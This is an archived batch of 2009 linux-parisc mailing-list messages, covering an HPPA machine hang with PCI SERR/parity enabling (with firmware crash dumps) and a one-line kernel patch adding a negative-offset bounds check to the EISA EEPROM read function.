Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Wed, 5 Aug 2009 11:45:07 -0600
Lines: 427
Approved: news@gmane.org
Message-ID: <20090805174507.GB11458@lackof.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org> <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1249494324 25718 80.91.229.12 (5 Aug 2009 17:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 17:45:24 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 19:45:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYkY4-0003W5-W0
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 19:45:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750706AbZHERpK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 13:45:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750698AbZHERpJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 13:45:09 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:49862 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750706AbZHERpH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 13:45:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id C1F9F33E0069;
	Wed,  5 Aug 2009 11:45:07 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gIKT5hdqfDd0; Wed,  5 Aug 2009 11:45:07 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 1520233E006C; Wed,  5 Aug 2009 11:45:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2007>

On Fri, Jul 31, 2009 at 09:28:51AM +0300, Meelis Roos wrote:
> The real problem happens after tulip driver 
> loading and PCI configuration of the cards.

This would be consistent with add-on cards not getting MMIO
space assigned correctly. The ioread32() is one of several operations
to configure the card.

It would be helpful to know if 2.6.30.x kernels (from unstable)
show the same problem.

cheers,
grant

 From these, I only have the 
> SER PIM data, no kernel backtrace.
> 
> > > Begin: Running /scripts/init-premount ... [17179583.856000] Linux Tulip
> > > driver version 1.1.15-NAPI (Feb 27, 2007)
> > > [17179584.008000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
> > > [17179584.028000] tulip0: no phy info, aborting mtable build
> > > [17179584.140000] tulip0:  MII transceiver #1 config 1000 status 782d
> > > advertising 0061.
> > > [17179584.164000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO
> > > 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
> > > [17179584.428000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
> > > [17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 ->
> > > 0143)
> > > 
> > > ************* SYSTEM ALERT **************
> > > SYSTEM NAME: scaspdb24
> > > DATE: 07/30/2009 TIME: 17:30:06
> > > ALERT LEVEL: 7 = reserved
> > > 
> > > REASON FOR ALERT
> > > SOURCE: 0 = unknown, no source stated
> > > SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> > > PROBLEM DETAIL: 0 = no problem detail
> > > 
> > > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> > >        ON       FLASH         OFF       ON         ON
> > > LED State: There was a system interruption that did not take the system
> > > down.
> > > Check Chassis and Console Logs for error messages.
> > > 
> > > 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> > > 0x5800087000FF6292 00006D06 1E111E06 - type 11 = Timestamp 07/30/2009
> > > 17:30:06
> [...]
> 
> > > Main Menu: Enter command or menu > ser pim
> > > 
> > > 
> > > PROCESSOR PIM INFORMATION
> > > 
> > > Original Product Number:   A5576A
> > > Current Product Number:    A5576A
> > > 
> > > 
> > > -----------------  Processor 0 HPMC Information - PDC Version: 44.28  ------ 
> > > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > > 
> > > HPMC Chassis Codes 
> > >        Chassis Code        Extension        ------------        ---------
> > > 0x0000082000ff6242  0x0000000000000000
> > >        0x1800082011006312  0xcb81000000000000
> > >        0x0000087000ff6292  0x000000f0f0000000
> > >        0x6000082070006062  0x0000000000100010
> > >        0x7000082070006082  0x0000000000b92400
> > >        0x7000082379006133  0xc1bff0fffed08040
> > >        0x0000080080006310  0x0000000000000001
> > >        0x000008008000631f  0x0000000000000000
> > >        
> > > General Registers 0 - 31
> > > 00-03  0000000000000000  00000000402e7098  000000000c1b5c78
> > > 000000007f954680
> > > 04-07  000000000c1b1000  000000000c1fc800  000000000c1c79b0
> > > 000000007f954000
> > > 08-11  000000000c1fc830  0000000000000003  00000000fe87e800
> > > 000000000c1fc800
> > > 12-15  0000000000000000  00000000fb6a2d5e  00000000fb6a2b5e
> > > 0000000000000003
> > > 16-19  0000000000026420  0000000000000000  00000000fe87e880
> > > 000000007f9555b8
> > > 20-23  0000000000000000  000000007f9552c0  ffffffffc0000000
> > > 0000000000100000
> > > 24-27  0000000000000000  0000000000000000  000000000c1fc830
> > > 00000000406791c0
> > > 28-31  000000000c1b4010  000000007f858be0  000000007f858c90
> > > 000000000c1b3fd0
> > > 
> > > 
> > > Control Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  000000000000011c  0000000000000000  00000000000000c0
> > > 0000000000000001
> > > 12-15  0000000000000000  0000000000000000  0000000000103000
> > > ff80000000000000
> > > 16-19  0000003aeb5d81e1  0000000000000000  00000000402e70d0
> > > 000000000f40109c
> > > 20-23  00000000a627ff41  000000004fdfc830  000000ff0804ff0f
> > > 8000000000000000
> > > 24-27  0000000000586000  000000003f892000  ffffffffffffffff
> > > 0000000040001480
> > > 28-31  ffffffffffffffff  ffffffffffffff2f  000000007f858000
> > > ffffffffffffffff
> > > 
> > > Space Registers 0 - 7
> > > 00-03  0004d800          00000000          00000000          00047000
> > > 04-07  00000000          00000000          00000000          00000000
> > > 
> > > 
> > > IIA Space (back entry)       = 0x0000000000000000
> > > IIA Offset (back entry)      = 0x00000000402e70d4
> > > Check Type                   = 0x20000000
> > > CPU State                    = 0x9e000004
> > > Cache Check                  = 0x00000000
> > > TLB Check                    = 0x00000000
> > > Bus Check                    = 0x0030103b
> > > Assists Check                = 0x00000000
> > > Assist State                 = 0x00000000
> > > Path Info                    = 0x00000000
> > > System Responder Address     = 0x000000ffd053f830
> > > System Requestor Address     = 0xfffffffffffa0000
> > > 
> > > 
> > > Floating Point Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  00000000bf840350  00000000bf840358
> > > 0000000000000008
> > > 08-11  000000004020b518  00000000ff83a268  0000000000000000
> > > 0000000000000002
> > > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00
> > > 00000000406791c0
> > > 16-19  0000000000000002  00000000ff83a268  00000000406879c0
> > > 00000000406809c0
> > > 20-23  00000000000000ff  00000000406791c0  0000000000000000
> > > 0000000000000000
> > > 24-27  0000000000000000  0000000000000000  fffffffffffff000
> > > 00000000fefa6000
> > > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c
> > > 00000000406791c0
> > > 
> > > 
> > > Check Summary                = 0xcb81000000000000
> > > Available Memory             = 0x00000000c0000000
> > > CPU Diagnose Register 2      = 0x0203000100802004
> > > CPU Status Register 0        = 0x2440c24000000000
> > > CPU Status Register 1        = 0x8002000000000000
> > > SADD LOG                     = 0x147ffcffffffffff
> > > Read Short LOG               = 0xc1af00ffd053f830
> > > 
> > > 
> > > 
> > > -----------------  Processor 0 LPMC Information ------------------
> > > 
> > > Check Type                   = 0x00000000
> > > IC Parity Info               = 0x00000000
> > > Cache Check                  = 0x00000000
> > > TLB Check                    = 0x00000000
> > > Bus Check                    = 0x00000000
> > > Assists Check                = 0x00000000
> > > Assist State                 = 0x00000000
> > > Path Info                    = 0x00000000
> > > System Responder Address     = 0x0000000000000000
> > > System Requestor Address     = 0x0000000000000000
> > > 
> > > 
> > > 
> > > -----------------  Processor 0 TOC Information -------------------
> > > 
> > > General Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 12-15  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 16-19  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 20-23  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 24-27  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 28-31  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 
> > > 
> > > Control Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 12-15  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 16-19  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 20-23  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 24-27  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 28-31  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 
> > > Space Registers 0 - 7
> > > 00-03  00000000          00000000          00000000          00000000
> > > 04-07  00000000          00000000          00000000          00000000
> > > 
> > > IIA Space (back entry)       = 0x0000000000000000
> > > IIA Offset (back entry)      = 0x0000000000000000
> > > CPU State                    = 0x00000000
> > > 
> > > 
> > > 
> > > -----------------  Processor 3 HPMC Information - PDC Version: 44.28  ------ 
> > > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > > 
> > > HPMC Chassis Codes 
> > >        Chassis Code        Extension        ------------        ---------
> > > 0x0000082000ff6242  0x0000000000000000
> > >        0x1800082011036322  0xcb81800000000000
> > >        
> > > General Registers 0 - 31
> > > 00-03  0000000000000000  000000004067a9c0  000000004011c18c
> > > 0000000043541518
> > > 04-07  00000000406791c0  00000000fc985000  000000007f93f000
> > > 0000000000000000
> > > 08-11  00000000fca67918  000000007f8d9cc0  00000000404eb740
> > > 0000000040000000
> > > 12-15  0000000000000000  0000000000000200  0000000040311427
> > > 0000000000000000
> > > 16-19  00000000419e85c8  000000007f93f888  0000000000000000
> > > 0000000000000000
> > > 20-23  000000000003f93f  00000000fffffffa  0000000000000000
> > > 0000000000000040
> > > 24-27  0000000000000010  00000000fc985fc0  000000004050a000
> > > 00000000406791c0
> > > 28-31  0000000000000001  000000007f94c800  000000007f94c830
> > > 00000000005282a3
> > > 
> > > 
> > > Control Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  0000000000000146  0000000000000000  00000000000000c0
> > > 0000000000000000
> > > 12-15  0000000000000000  0000000000000000  0000000000103000
> > > ff80000000000000
> > > 16-19  0000003aeb5d7f36  0000000000000000  000000004011c190
> > > 0000000004a01200
> > > 20-23  0000000000000000  00000000fc985000  000000ff0804f90f
> > > 8000000000000000
> > > 24-27  0000000000586000  000000003f952000  fffffffff37f7f00
> > > 0000000040001b60
> > > 28-31  fffffffff37f7f00  fffffffff37f7f00  000000007f94c000
> > > fffffffff37f7f00
> > > 
> > > Space Registers 0 - 7
> > > 00-03  00051800          00000000          00000000          00051800
> > > 04-07  00000000          00000000          00000000          00000000
> > > 
> > > 
> > > IIA Space (back entry)       = 0x0000000000000000
> > > IIA Offset (back entry)      = 0x000000004011c194
> > > Check Type                   = 0x20000000
> > > CPU State                    = 0x9e000004
> > > Cache Check                  = 0x00000000
> > > TLB Check                    = 0x00000000
> > > Bus Check                    = 0x0030000d
> > > Assists Check                = 0x00000000
> > > Assist State                 = 0x00000000
> > > Path Info                    = 0x00000000
> > > System Responder Address     = 0xfffffffffffa6000
> > > System Requestor Address     = 0xfffffffffffa0000
> > > 
> > > 
> > > Floating Point Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  00000000bf840350  00000000bf840358
> > > 0000000000000008
> > > 08-11  000000004020b518  00000000ff83a268  0000000000000000
> > > 0000000000000002
> > > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00
> > > 00000000406791c0
> > > 16-19  0000000000000002  00000000ff83a268  00000000406879c0
> > > 00000000406809c0
> > > 20-23  00000000000000ff  00000000406791c0  0000000000000000
> > > 0000000a4067a9c0
> > > 24-27  0000000000000000  00000000406841c0  fffffffffffff000
> > > 00000000fefa6000
> > > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c
> > > 00000000406791c0
> > > 
> > > 
> > > Check Summary                = 0xcb81800000000000
> > > Available Memory             = 0x00000000c0000000
> > > CPU Diagnose Register 2      = 0x0203030100802004
> > > CPU Status Register 0        = 0x3440c24000000000
> > > CPU Status Register 1        = 0x8000000000000000
> > > SADD LOG                     = 0x4800000000000000
> > > Read Short LOG               = 0xc13ff0f0f0047218
> > > 
> > > 
> > > 
> > > -----------------  Processor 3 LPMC Information ------------------
> > > 
> > > Check Type                   = 0x00000000
> > > IC Parity Info               = 0x00000000
> > > Cache Check                  = 0x00000000
> > > TLB Check                    = 0x00000000
> > > Bus Check                    = 0x00000000
> > > Assists Check                = 0x00000000
> > > Assist State                 = 0x00000000
> > > Path Info                    = 0x00000000
> > > System Responder Address     = 0x0000000000000000
> > > System Requestor Address     = 0x0000000000000000
> > > 
> > > 
> > > 
> > > -----------------  Processor 3 TOC Information -------------------
> > > 
> > > General Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 12-15  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 16-19  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 20-23  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 24-27  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 28-31  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 
> > > 
> > > Control Registers 0 - 31
> > > 00-03  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 04-07  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 08-11  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 12-15  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 16-19  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 20-23  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 24-27  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 28-31  0000000000000000  0000000000000000  0000000000000000
> > > 0000000000000000
> > > 
> > > Space Registers 0 - 7
> > > 00-03  00000000          00000000          00000000          00000000
> > > 04-07  00000000          00000000          00000000          00000000
> > > 
> > > IIA Space (back entry)       = 0x0000000000000000
> > > IIA Offset (back entry)      = 0x0000000000000000
> > > CPU State                    = 0x00000000
> > > 
> > > 
> > > --------------  Memory Error Log Information  --------------
> > > 
> > > Bus 0 Log Information
> > > 
> > > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > > 
> > >   OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
> > >   --  --  --      -----      -  -  -  ----  ---  --  --  --
> > >   X       X     ERR_ERROR       X            X           
> > > Bus Requestor Address      = 0xfffffffffffa0000
> > > Bus Target Address         = 0x0000000000000000
> > > Bus Responder Address      = 0xfffffffffed00000
> > > 
> > > Error Status Reg           = 0x0000000000100010
> > > Runway Control Reg         = 0x0000021c00001418
> > > Runway Address Reg         = 0xc1bff0fffed08040
> > > Runway Data High Reg       = 0xe840c000083c025c
> > > Runway Data Low Reg        = 0xe840c000083c025c
> > > Memory Address Reg         = 0x000001ff3fffffff
> > > Memory Address Corr Reg    = 0x000001ff3fffffff
> > > Memory Syndrome Reg        = 0x0000000000000000
> > > Memory Syndrome Corr Reg   = 0x0000000000000000
> > > 
> > > 
> > > 
> > >  Address/Control Parity Error Registers  
> > >    Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 
> > > 
> > > 
> > > ------------  I/O Module Error Log Information  ------------
> > > 
> > > 
> > >    No I/O module errors logged
> > > 
> > > 
> > > Main Menu: Enter command or menu > 
> > 
> 
> -- 
> Meelis Roos (mroos@linux.ee)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 05 Aug 2009 20:38:55 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <4A79D1BF.5020305@gmx.de>
References: <200907210058.44737.mb@bu3sch.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249497552 7686 80.91.229.12 (5 Aug 2009 18:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 18:39:12 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Michael Buesch <mb@bu3sch.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 20:39:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYlO7-0002er-SK
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 20:39:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751837AbZHESi5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 14:38:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751867AbZHESi5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 14:38:57 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:48828 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751837AbZHESi5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 14:38:57 -0400
Original-Received: (qmail invoked by alias); 05 Aug 2009 18:38:56 -0000
Original-Received: from p4FDB2F2B.dip0.t-ipconnect.de (EHLO halden.box) [79.219.47.43]
  by mail.gmx.net (mp061) with SMTP; 05 Aug 2009 20:38:56 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/uA25kn3TuL7K7zhm8GMhVaCWUI5YnVXxyR+MzAK
	gvogbrAOFwvCuz
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <200907210058.44737.mb@bu3sch.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2008>

On 07/21/2009 12:58 AM, Michael Buesch wrote:
> loff_t is a signed type. If userspace passes a negative ppos, the "count"
> range check is weakened. "count"s bigger than HPEE_MAX_LENGTH will pass the check.
> Also, if ppos is negative, the readb(eisa_eeprom_addr + *ppos) will poke in random
> memory.
>
> Signed-off-by: Michael Buesch<mb@bu3sch.de>
> Cc: stable@kernel.org

Thanks!

Applied and pushed upstream.

Helge


> Patch is untested due to lack of hardware.
>
> ---
>   drivers/parisc/eisa_eeprom.c |    2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
>
> --- linux-2.6.orig/drivers/parisc/eisa_eeprom.c
> +++ linux-2.6/drivers/parisc/eisa_eeprom.c
> @@ -48,21 +48,21 @@ static loff_t eisa_eeprom_llseek(struct
>   	return (offset>= 0&&  offset<  HPEE_MAX_LENGTH) ? (file->f_pos = offset) : -EINVAL;
>   }
>
>   static ssize_t eisa_eeprom_read(struct file * file,
>   			      char __user *buf, size_t count, loff_t *ppos )
>   {
>   	unsigned char *tmp;
>   	ssize_t ret;
>   	int i;
>   	
> -	if (*ppos>= HPEE_MAX_LENGTH)
> +	if (*ppos<  0 || *ppos>= HPEE_MAX_LENGTH)
>   		return 0;
>   	
>   	count = *ppos + count<  HPEE_MAX_LENGTH ? count : HPEE_MAX_LENGTH - *ppos;
>   	tmp = kmalloc(count, GFP_KERNEL);
>   	if (tmp) {
>   		for (i = 0; i<  count; i++)
>   			tmp[i] = readb(eisa_eeprom_addr+(*ppos)++);
>
>   		if (copy_to_user (buf, tmp, count))
>   			ret = -EFAULT;
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Wed, 5 Aug 2009 22:42:34 +0300 (EEST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
 <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org>
 <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249501369 28466 80.91.229.12 (5 Aug 2009 19:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 19:42:49 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 21:42:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYmNi-0008Gl-4J
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 21:42:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751864AbZHETmf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 15:42:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751903AbZHETmf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 15:42:35 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:41885 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751864AbZHETmf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 15:42:35 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 8279F6E4BE2;
	Wed,  5 Aug 2009 22:42:34 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 77C59FD7A1; Wed,  5 Aug 2009 22:42:34 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 6DE7CFD79B;
	Wed,  5 Aug 2009 22:42:34 +0300 (EEST)
In-Reply-To: <20090805174507.GB11458@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2009>

> It would be helpful to know if 2.6.30.x kernels (from unstable)
> show the same problem.

Will test.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 05 Aug 2009 14:57:01 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1249502221.4183.43.camel@mulgrave.site>
References: <200907210058.44737.mb@bu3sch.de>  <4A79D1BF.5020305@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249502244 1139 80.91.229.12 (5 Aug 2009 19:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 19:57:24 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 21:57:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYmbk-0006Z3-Tg
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 21:57:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750734AbZHET5G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 15:57:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751151AbZHET5G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 15:57:06 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38974 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750734AbZHET5F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 15:57:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D638E8EE0F5;
	Wed,  5 Aug 2009 12:57:05 -0700 (PDT)
